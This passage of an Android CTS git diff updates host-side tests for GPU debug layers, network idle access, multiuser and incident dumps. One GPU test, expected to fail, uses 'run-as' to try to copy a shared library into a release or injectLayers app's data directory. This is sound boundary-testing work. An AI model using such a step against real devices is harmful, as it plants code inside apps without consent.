     private void checkDataConnection(String[] parts) {
-        assertEquals(26, parts.length);
+        assertEquals(27, parts.length);
         assertInteger(parts[4]);  // none
         assertInteger(parts[5]);  // gprs
         assertInteger(parts[6]);  // edge
@@ -597,7 +602,8 @@
         assertInteger(parts[22]); // iwlan
         assertInteger(parts[23]); // lte_ca
         assertInteger(parts[24]); // nr
-        assertInteger(parts[25]); // other
+        assertInteger(parts[25]); // emngcy
+        assertInteger(parts[26]); // other
     }
 
     private void checkWifiState(String[] parts) {
diff --git a/hostsidetests/edi/AndroidTest.xml b/hostsidetests/edi/AndroidTest.xml
index aea1030..acd6b57 100644
--- a/hostsidetests/edi/AndroidTest.xml
+++ b/hostsidetests/edi/AndroidTest.xml
@@ -19,6 +19,7 @@
     <!-- Do no need to run instant mode for collecting information -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsEdiHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/gputools/AndroidTest.xml b/hostsidetests/gputools/AndroidTest.xml
index cd95605..67defc0 100644
--- a/hostsidetests/gputools/AndroidTest.xml
+++ b/hostsidetests/gputools/AndroidTest.xml
@@ -30,6 +30,10 @@
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="CtsGpuToolsRootlessGpuDebugApp-INJECT.apk" />
+    </target_preparer>
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
index 4021140..54cc29f 100644
--- a/hostsidetests/gputools/apps/Android.bp
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -74,3 +74,24 @@
     use_embedded_native_libs: false,
     stl: "c++_shared",
 }
+
+android_test_helper_app {
+    name: "CtsGpuToolsRootlessGpuDebugApp-INJECT",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    // tag this module as a cts test artifact
+    test_suites: ["cts"],
+    compile_multilib: "both",
+    jni_libs: [
+        "libctsgputools_jni",
+        "libVkLayer_nullLayerC",
+        "libGLES_glesLayerC",
+    ],
+    manifest: "inject/AndroidManifest.xml",
+    aaptflags: [
+        "--rename-manifest-package android.rootlessgpudebug.INJECT.app",
+    ],
+    use_embedded_native_libs: false,
+    stl: "c++_shared",
+}
diff --git a/hostsidetests/gputools/apps/inject/AndroidManifest.xml b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
new file mode 100644
index 0000000..e16aedb
--- /dev/null
+++ b/hostsidetests/gputools/apps/inject/AndroidManifest.xml
@@ -0,0 +1,33 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+# Copyright (C) 2019 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.rootlessgpudebug.app">
+
+    <application android:extractNativeLibs="true" >
+        <meta-data android:name="com.android.graphics.injectLayers.enable" android:value="true"/>
+        <activity android:name=".RootlessGpuDebugDeviceActivity" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
+
+</manifest>
+
+
diff --git a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
index 6b5c645..26af1ac 100644
--- a/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
+++ b/hostsidetests/gputools/src/android/gputools/cts/CtsRootlessGpuDebugHostTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (C) 2017 The Android Open Source Project
+ * Copyright (C) 2019 The Android Open Source Project
  *
  * Licensed under the Apache License, Version 2.0 (the "License");
  * you may not use this file except in compliance with the License.
@@ -59,10 +59,12 @@
     // - Ensure we can load a layer from app's data directory (testDebugLayerLoadVulkan)
     // - Ensure we can load multiple layers, in order, from app's data directory (testDebugLayerLoadVulkan)
     // - Ensure we can still use system properties if no layers loaded via Settings (testSystemPropertyEnableVulkan)
-    // - Ensure we can find layers in separate specified app (testDebugLayerLoadExternalVulkan)
+    // - Ensure we can find layers in separate specified app and load them in a debuggable app (testDebugLayerLoadExternalVulkan)
+    // - Ensure we can find layers in separate specified app and load them in an injectLayers app (testInjectLayerLoadExternalVulkan)
     // Negative Vulkan tests
     // - Ensure we cannot push a layer to non-debuggable app (testReleaseLayerLoadVulkan)
     // - Ensure non-debuggable app ignores the new Settings (testReleaseLayerLoadVulkan)
+    // - Ensure we cannot push a layer to an injectLayers app (testInjectLayerLoadVulkan)
     // - Ensure we cannot enumerate layers from debuggable app's data directory if Setting not specified (testDebugNoEnumerateVulkan)
     // - Ensure we cannot enumerate layers without specifying the debuggable app (testDebugNoEnumerateVulkan)
     // - Ensure we cannot use system properties when layer is found via Settings with debuggable app (testSystemPropertyIgnoreVulkan)
@@ -75,7 +77,8 @@
     // - Ensure we can specify the app to load layers (testDebugLayerLoadGLES)
     // - Ensure we can load a layer from app's data directory (testDebugLayerLoadGLES)
     // - Ensure we can load multiple layers, in order, from app's data directory (testDebugLayerLoadGLES)
-    // - Ensure we can find layers in separate specified app (testDebugLayerLoadExternalGLES)
+    // - Ensure we can find layers in separate specified app and load them in a debuggable app (testDebugLayerLoadExternalGLES)
+    // - Ensure we can find layers in separate specified app and load them in an injectLayers app (testInjectLayerLoadExternalGLES)
     // Negative GLES tests
     // - Ensure we cannot push a layer to non-debuggable app (testReleaseLayerLoadGLES)
     // - Ensure non-debuggable app ignores the new Settings (testReleaseLayerLoadGLES)
@@ -100,10 +103,12 @@
     private static final String LAYER_C_NAME = "VK_LAYER_ANDROID_" + LAYER_C;
     private static final String DEBUG_APP = "android.rootlessgpudebug.DEBUG.app";
     private static final String RELEASE_APP = "android.rootlessgpudebug.RELEASE.app";
+    private static final String INJECT_APP = "android.rootlessgpudebug.INJECT.app";
     private static final String LAYERS_APP = "android.rootlessgpudebug.LAYERS.app";
     private static final String GLES_LAYERS_APP = "android.rootlessgpudebug.GLES_LAYERS.app";
     private static final String DEBUG_APK = "CtsGpuToolsRootlessGpuDebugApp-DEBUG.apk";
     private static final String RELEASE_APK = "CtsGpuToolsRootlessGpuDebugApp-RELEASE.apk";
+    private static final String INJECT_APK = "CtsGpuToolsRootlessGpuDebugApp-INJECT.apk";
     private static final String LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-LAYERS.apk";
     private static final String GLES_LAYERS_APK = "CtsGpuToolsRootlessGpuDebugApp-GLES_LAYERS.apk";
     private static final String GLES_LAYER_A = "glesLayerA";
@@ -271,6 +276,7 @@
     public void cleanup() throws Exception {
         getDevice().executeAdbCommand("shell", "am", "force-stop", DEBUG_APP);
         getDevice().executeAdbCommand("shell", "am", "force-stop", RELEASE_APP);
+        getDevice().executeAdbCommand("shell", "am", "force-stop", INJECT_APP);
         getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_A_LIB);
         getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_B_LIB);
         getDevice().executeAdbCommand("shell", "rm", "-f", "/data/local/tmp/" + LAYER_C_LIB);
@@ -343,29 +349,23 @@
         Assert.assertTrue("LayerA should be loaded before LayerB", resultA.lineNumber < resultB.lineNumber);
     }
 
-    /**
-     * This test ensures that we cannot push a layer to a non-debuggable app
-     * It also ensures non-debuggable apps ignore Settings and don't enumerate layers in the base directory.
-     */
-    @Test
-    public void testReleaseLayerLoadVulkan() throws Exception {
-
-        // Set up a layers to be loaded for RELEASE app
+    public void testLayerNotLoadedVulkan(final String APP_NAME) throws Exception {
+        // Set up a layers to be loaded for RELEASE or INJECT app
         applySetting("enable_gpu_debug_layers", "1");
-        applySetting("gpu_debug_app", RELEASE_APP);
+        applySetting("gpu_debug_app", APP_NAME);
         applySetting("gpu_debug_layers", LAYER_A_NAME + ":" + LAYER_B_NAME);
 
         // Copy a layer from our LAYERS APK to tmp
         setupLayer(LAYER_A_LIB, LAYERS_APP);
 
-        // Attempt to copy them over to our RELEASE app (this should fail)
+        // Attempt to copy them over to our RELEASE or INJECT app (this should fail)
         getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", RELEASE_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
-                "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
+            "run-as", APP_NAME, "--user", Integer.toString(getDevice().getCurrentUser()),
+            "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = LAYER_A_NAME + "loaded";
@@ -374,6 +374,24 @@
     }
 
     /**
+     * This test ensures that we cannot push a layer to a release app
+     * It also ensures non-debuggable apps ignore Settings and don't enumerate layers in the base directory.
+     */
+    @Test
+    public void testReleaseLayerLoadVulkan() throws Exception {
+        testLayerNotLoadedVulkan(RELEASE_APP);
+    }
+
+    /**
+     * This test ensures that we cannot push a layer to an injectable app
+     * It also ensures non-debuggable apps ignore Settings and don't enumerate layers in the base directory.
+     */
+    @Test
+    public void testInjectLayerLoadVulkan() throws Exception {
+        testLayerNotLoadedVulkan(INJECT_APP);
+    }
+
+    /**
      * This test ensures debuggable apps do not enumerate layers in base
      * directory if enable_gpu_debug_layers is not enabled.
      */
@@ -531,15 +549,12 @@
         Assert.assertFalse("LayerB was loaded", resultB.found);
     }
 
-    /**
-     *
-     */
-    @Test
-    public void testDebugLayerLoadExternalVulkan() throws Exception {
+
+    public void testLayerLoadExternalVulkan(final String APP_NAME) throws Exception {
 
         // Set up layers to be loaded
         applySetting("enable_gpu_debug_layers", "1");
-        applySetting("gpu_debug_app", DEBUG_APP);
+        applySetting("gpu_debug_app", APP_NAME);
         applySetting("gpu_debug_layers", LAYER_C_NAME);
 
         // Specify the external app that hosts layers
@@ -547,7 +562,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
 
         // Check that our external layer was loaded
         String searchStringC = "nullCreateInstance called in " + LAYER_C;
@@ -555,6 +570,21 @@
         Assert.assertTrue("LayerC was not loaded", resultC.found);
     }
 
+    /**
+     * This test ensures a debuggable app can load layers from an external package
+     */
+    @Test
+    public void testDebugLayerLoadExternalVulkan() throws Exception {
+        testLayerLoadExternalVulkan(DEBUG_APP);
+    }
+
+    /**
+     * This test ensures an injectLayers app can load layers from an external package
+     */
+    @Test
+    public void testInjectLayerLoadExternalVulkan() throws Exception {
+        testLayerLoadExternalVulkan(INJECT_APP);
+    }
 
     /**
      * This test pushes GLES layers to our debuggable app and ensures they are
@@ -781,15 +811,10 @@
         Assert.assertFalse(GLES_LAYER_B + " was loaded", resultB.found);
     }
 
-    /**
-     *
-     */
-    @Test
-    public void testDebugLayerLoadExternalGLES() throws Exception {
-
+    public void testLayerLoadExternalGLES(final String APP_NAME) throws Exception {
         // Set up layers to be loaded
         applySetting("enable_gpu_debug_layers", "1");
-        applySetting("gpu_debug_app", DEBUG_APP);
+        applySetting("gpu_debug_app", APP_NAME);
         applySetting("gpu_debug_layers_gles", GLES_LAYER_C_LIB);
 
         // Specify the external app that hosts layers
@@ -797,7 +822,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", APP_NAME + "/" + ACTIVITY);
 
         // Check that our external layer was loaded
         String searchStringC = "glesLayer_eglChooseConfig called in " + GLES_LAYER_C;
@@ -806,6 +831,22 @@
     }
 
     /**
+     * This test ensures that external GLES layers can be loaded by a debuggable app
+     */
+    @Test
+    public void testDebugLayerLoadExternalGLES() throws Exception {
+        testLayerLoadExternalGLES(DEBUG_APP);
+    }
+
+    /**
+     * This test ensures that external GLES layers can be loaded by an injectLayers app
+     */
+    @Test
+    public void testInjectLayerLoadExternalGLES() throws Exception {
+        testLayerLoadExternalGLES(INJECT_APP);
+    }
+
+    /**
      *
      */
     @Test
diff --git a/hostsidetests/incident/AndroidTest.xml b/hostsidetests/incident/AndroidTest.xml
index 65a347b..57fd89d 100644
--- a/hostsidetests/incident/AndroidTest.xml
+++ b/hostsidetests/incident/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="metrics" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="not_secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.SwitchUserTargetPreparer">
         <option name="user-type" value="system" />
     </target_preparer>
diff --git a/hostsidetests/incident/OWNERS b/hostsidetests/incident/OWNERS
index 2d6787a..1165b42 100644
--- a/hostsidetests/incident/OWNERS
+++ b/hostsidetests/incident/OWNERS
@@ -1,2 +1,5 @@
 # Bug component: 329246
-joeo@google.com
\ No newline at end of file
+joeo@google.com
+jreck@google.com
+kwekua@google.com
+yamasani@google.com
diff --git a/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java
index 342dc7f..93c3fa7 100644
--- a/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/ActivityManagerIncidentTest.java
@@ -97,7 +97,7 @@
         assertTrue(activeServices.getServicesByUsersCount() > 0);
 
         for (ServicesByUser perUserServices : activeServices.getServicesByUsersList()) {
-            assertTrue(perUserServices.getServiceRecordsCount() > 0);
+            assertTrue(perUserServices.getServiceRecordsCount() >= 0);
             for (ServiceRecordProto service : perUserServices.getServiceRecordsList()) {
                 assertFalse(service.getShortName().isEmpty());
                 assertFalse(service.getPackageName().isEmpty());
@@ -227,7 +227,7 @@
         verifyVrControllerProto(dump.getVrController(), filterLevel);
         verifyAppTimeTrackerProto(dump.getCurrentTracker(), filterLevel);
         if (filterLevel == PRIVACY_AUTO) {
-            assertTrue(dump.getMemWatchProcesses().getDump().getFile().isEmpty());
+            assertTrue(dump.getMemWatchProcesses().getDump().getUri().isEmpty());
         }
     }
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
index 35d1bb6..8093dc3 100644
--- a/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/AlarmManagerIncidentTest.java
@@ -23,8 +23,8 @@
 import com.android.server.BroadcastStatsProto;
 import com.android.server.ConstantsProto;
 import com.android.server.FilterStatsProto;
-import com.android.server.ForceAppStandbyTrackerProto;
-import com.android.server.ForceAppStandbyTrackerProto.RunAnyInBackgroundRestrictedPackages;
+import com.android.server.AppStateTrackerProto;
+import com.android.server.AppStateTrackerProto.RunAnyInBackgroundRestrictedPackages;
 import com.android.server.IdleDispatchEntryProto;
 import com.android.server.InFlightProto;
 import com.android.server.WakeupEventProto;
@@ -58,19 +58,19 @@
         assertTrue(0 < settings.getAllowWhileIdleLongDurationMs());
         assertTrue(0 < settings.getAllowWhileIdleWhitelistDurationMs());
 
-        // ForceAppStandbyTrackerProto
-        ForceAppStandbyTrackerProto forceAppStandbyTracker = dump.getForceAppStandbyTracker();
-        for (int uid : forceAppStandbyTracker.getForegroundUidsList()) {
+        // AppStateTrackerProto
+        AppStateTrackerProto appStateTracker = dump.getAppStateTracker();
+        for (int uid : appStateTracker.getForegroundUidsList()) {
             // 0 is technically a valid UID.
             assertTrue(0 <= uid);
         }
-        for (int aid : forceAppStandbyTracker.getPowerSaveWhitelistAppIdsList()) {
+        for (int aid : appStateTracker.getPowerSaveWhitelistAppIdsList()) {
             assertTrue(0 <= aid);
         }
-        for (int aid : forceAppStandbyTracker.getTempPowerSaveWhitelistAppIdsList()) {
+        for (int aid : appStateTracker.getTempPowerSaveWhitelistAppIdsList()) {
             assertTrue(0 <= aid);
         }
-        for (RunAnyInBackgroundRestrictedPackages r : forceAppStandbyTracker.getRunAnyInBackgroundRestrictedPackagesList()) {
+        for (RunAnyInBackgroundRestrictedPackages r : appStateTracker.getRunAnyInBackgroundRestrictedPackagesList()) {
             assertTrue(0 <= r.getUid());
         }
 
diff --git a/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java b/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
index 9c8363c..1c2a1fe 100644
--- a/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
+++ b/hostsidetests/incident/src/com/android/server/cts/JobSchedulerIncidentTest.java
@@ -69,7 +69,7 @@
         for (JobSchedulerServiceDumpProto.PendingJob pj : dump.getPendingJobsList()) {
             testJobStatusShortInfoProto(pj.getInfo(), filterLevel);
             testJobStatusDumpProto(pj.getDump());
-            assertTrue(0 <= pj.getEnqueuedDurationMs());
+            assertTrue(0 <= pj.getPendingDurationMs());
         }
 
         for (JobSchedulerServiceDumpProto.ActiveJob aj : dump.getActiveJobsList()) {
@@ -109,10 +109,6 @@
         assertTrue(0 <= c.getMaxWorkRescheduleCount());
         assertTrue(0 <= c.getMinLinearBackoffTimeMs());
         assertTrue(0 <= c.getMinExpBackoffTimeMs());
-        assertTrue(0 <= c.getStandbyHeartbeatTimeMs());
-        for (int sb : c.getStandbyBeatsList()) {
-            assertTrue(0 <= sb);
-        }
     }
 
     private static void testDataSetProto(DataSetProto ds) throws Exception {
@@ -186,7 +182,8 @@
         assertTrue(0 <= ji.getTriggerContentMaxDelayMs());
         testNetworkRequestProto(ji.getRequiredNetwork());
         // JobInfo.NETWORK_BYTES_UNKNOWN (= -1) is a valid value.
-        assertTrue(-1 <= ji.getTotalNetworkBytes());
+        assertTrue(-1 <= ji.getTotalNetworkDownloadBytes());
+        assertTrue(-1 <= ji.getTotalNetworkUploadBytes());
         assertTrue(0 <= ji.getMinLatencyMs());
         assertTrue(0 <= ji.getMaxExecutionDelayMs());
         JobStatusDumpProto.JobInfo.Backoff bp = ji.getBackoffPolicy();
diff --git a/hostsidetests/media/OWNERS b/hostsidetests/media/OWNERS
index 9884b18..8d6b291e 100644
--- a/hostsidetests/media/OWNERS
+++ b/hostsidetests/media/OWNERS
@@ -1,4 +1,4 @@
-rachad@google.com
+# Bug component: 1344
 elaurent@google.com
 lajos@google.com
 marcone@google.com
diff --git a/hostsidetests/multiuser/Android.bp b/hostsidetests/multiuser/Android.bp
index cc4bd81..ce653dd 100644
--- a/hostsidetests/multiuser/Android.bp
+++ b/hostsidetests/multiuser/Android.bp
@@ -21,6 +21,7 @@
         "cts-tradefed",
         "tradefed",
         "platform-test-annotations-host",
+	"compatibility-host-util",
     ],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/multiuser/AndroidTest.xml b/hostsidetests/multiuser/AndroidTest.xml
index 880aef9..8e92968 100644
--- a/hostsidetests/multiuser/AndroidTest.xml
+++ b/hostsidetests/multiuser/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="config-descriptor:metadata" key="component" value="framework" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsMultiUserHostTestCases.jar" />
         <option name="runtime-hint" value="8m" />
diff --git a/hostsidetests/multiuser/OWNERS b/hostsidetests/multiuser/OWNERS
new file mode 100644
index 0000000..2b344eb
--- /dev/null
+++ b/hostsidetests/multiuser/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 71510
+include /tests/app/OWNERS
+
+bookatz@google.com
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
index 41cbeab..fc385b1 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/CreateUsersPermissionTest.java
@@ -17,6 +17,7 @@
 
 import static com.android.tradefed.log.LogUtil.CLog;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.ddmlib.Log;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
@@ -69,6 +70,7 @@
                 + "command output: " + output, isErrorOutput);
     }
 
+    @CddTest(requirement="9.5/A-1-3")
     @Test
     public void testCanCreateGuestUserWhenUserLimitReached() throws Exception {
         if (!isAutomotiveDevice()) {
diff --git a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
index 1f4ab36..d4a6ef2 100644
--- a/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
+++ b/hostsidetests/multiuser/src/android/host/multiuser/SecondaryUsersTest.java
@@ -15,6 +15,7 @@
  */
 package android.host.multiuser;
 
+import com.android.compatibility.common.util.CddTest;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import java.util.concurrent.TimeUnit;
@@ -31,6 +32,7 @@
 
     private static final long POLL_INTERVAL_MS = 100;
 
+    @CddTest(requirement="9.5/A-1-2")
     @Test
     public void testSwitchToSecondaryUserBeforeBootComplete() throws Exception {
         if (!isAutomotiveDevice() || !mSupportsMultiUser) {
@@ -58,4 +60,4 @@
         }
         Assert.assertTrue("Must switch to secondary user before boot complete", isUserSecondary);
     }
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/net/AndroidTest.xml b/hostsidetests/net/AndroidTest.xml
index dbff179..6ba6f42 100644
--- a/hostsidetests/net/AndroidTest.xml
+++ b/hostsidetests/net/AndroidTest.xml
@@ -20,8 +20,6 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
 
-    <target_preparer class="com.android.cts.net.NetPolicyTestsPreparer" />
-
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
         <option name="teardown-command" value="cmd power set-mode 0" />
         <option name="teardown-command" value="cmd battery reset" />
@@ -31,4 +29,9 @@
         <option name="jar" value="CtsHostsideNetworkTests.jar" />
         <option name="runtime-hint" value="3m56s" />
     </test>
+
+    <metrics_collector class="com.android.tradefed.device.metric.FilePullerLogCollector">
+        <option name="directory-keys" value="/sdcard/CtsHostsideNetworkTests" />
+        <option name="collect-on-run-ended-only" value="true" />
+    </metrics_collector>
 </configuration>
diff --git a/hostsidetests/net/app/Android.bp b/hostsidetests/net/app/Android.bp
index d66b71b..e988ea4 100644
--- a/hostsidetests/net/app/Android.bp
+++ b/hostsidetests/net/app/Android.bp
@@ -20,6 +20,8 @@
     //sdk_version: "current",
     platform_apis: true,
     static_libs: [
+        "androidx.test.rules",
+        "androidx.test.ext.junit",
         "compatibility-device-util-axt",
         "ctstestrunner-axt",
         "ub-uiautomator",
diff --git a/hostsidetests/net/app/AndroidManifest.xml b/hostsidetests/net/app/AndroidManifest.xml
index f54b5c1..3b00713 100644
--- a/hostsidetests/net/app/AndroidManifest.xml
+++ b/hostsidetests/net/app/AndroidManifest.xml
@@ -26,8 +26,9 @@
     <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
     <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION" />
     <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
 
-    <application>
+    <application android:requestLegacyExternalStorage="true" >
         <uses-library android:name="android.test.runner" />
         <activity android:name=".MyActivity" />
         <service android:name=".MyVpnService"
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
index 55bd406..51bdf8e 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
+++ b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractAppIdleTestCase.java
@@ -16,20 +16,27 @@
 
 package com.android.cts.net.hostside;
 
+import static com.android.cts.net.hostside.Property.APP_STANDBY_MODE;
+import static com.android.cts.net.hostside.Property.BATTERY_SAVER_MODE;
+
+import static org.junit.Assert.assertEquals;
+
 import android.os.SystemClock;
-import android.util.Log;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
 
 /**
  * Base class for metered and non-metered tests on idle apps.
  */
+@RequiredProperties({APP_STANDBY_MODE})
 abstract class AbstractAppIdleTestCase extends AbstractRestrictBackgroundNetworkTestCase {
 
-    @Override
-    protected final void setUp() throws Exception {
+    @Before
+    public final void setUp() throws Exception {
         super.setUp();
 
-        if (!isSupported()) return;
-
         // Set initial state.
         removePowerSaveModeWhitelist(TEST_APP2_PKG);
         removePowerSaveModeExceptIdleWhitelist(TEST_APP2_PKG);
@@ -39,41 +46,16 @@
         registerBroadcastReceiver();
     }
 
-    @Override
-    protected final void tearDown() throws Exception {
+    @After
+    public final void tearDown() throws Exception {
         super.tearDown();
 
-        if (!isSupported()) return;
-
-        try {
-            tearDownMeteredNetwork();
-        } finally {
-            turnBatteryOff();
-            setAppIdle(false);
-        }
+        turnBatteryOff();
+        setAppIdle(false);
     }
 
-    @Override
-    protected boolean isSupported() throws Exception {
-        boolean supported = isDozeModeEnabled();
-        if (!supported) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Doze Mode");
-        }
-        return supported;
-    }
-
-    /**
-     * Resets the (non) metered network state.
-     *
-     * <p>By default is empty - it's up to subclasses to override.
-     */
-    protected void tearDownMeteredNetwork() throws Exception {
-    }
-
+    @Test
     public void testBackgroundNetworkAccess_enabled() throws Exception {
-        if (!isSupported()) return;
-
         setAppIdle(true);
         assertBackgroundNetworkAccess(false);
 
@@ -98,9 +80,8 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testBackgroundNetworkAccess_whitelisted() throws Exception {
-        if (!isSupported()) return;
-
         setAppIdle(true);
         assertBackgroundNetworkAccess(false);
 
@@ -127,9 +108,8 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testBackgroundNetworkAccess_tempWhitelisted() throws Exception {
-        if (!isSupported()) return;
-
         setAppIdle(true);
         assertBackgroundNetworkAccess(false);
 
@@ -140,28 +120,22 @@
         assertBackgroundNetworkAccess(false);
     }
 
+    @Test
     public void testBackgroundNetworkAccess_disabled() throws Exception {
-        if (!isSupported()) return;
-
         assertBackgroundNetworkAccess(true);
 
         assertsForegroundAlwaysHasNetworkAccess();
         assertBackgroundNetworkAccess(true);
     }
 
+    @RequiredProperties({BATTERY_SAVER_MODE})
+    @Test
     public void testAppIdleNetworkAccess_whenCharging() throws Exception {
-        if (!isBatterySaverSupported()) {
-            Log.i(TAG, "Skipping " + getClass() + "." + getName()
-                    + "() because device does not support Battery saver mode");
-            return;
-        }
-        if (!isSupported()) return;
-
-        // Check that app is paroled when charging
+        // Check that idle app doesn't get network when charging
         setAppIdle(true);
         assertBackgroundNetworkAccess(false);
         turnBatteryOff();
-        assertBackgroundNetworkAccess(true);
+        assertBackgroundNetworkAccess(false);
         turnBatteryOn();
         assertBackgroundNetworkAccess(false);
 
@@ -180,9 +154,8 @@
         assertBackgroundNetworkAccess(true);
     }
 
+    @Test
     public void testAppIdleNetworkAccess_idleWhitelisted() throws Exception {
-        if (!isSupported()) return;
-
         setAppIdle(true);
         assertAppIdle(true);
         assertBackgroundNetworkAccess(false);
@@ -199,9 +172,8 @@
         removeAppIdleWhitelist(mUid + 1);
     }
 
+    @Test
     public void testAppIdle_toast() throws Exception {
-        if (!isSupported()) return;
-
         setAppIdle(true);
         assertAppIdle(true);
         assertEquals("Shown", showToast());
diff --git a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java b/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
index 931376b..04d054d 100644
--- a/hostsidetests/net/app/src/com/android/cts/net/hostside/AbstractBatterySaverModeTestCase.java
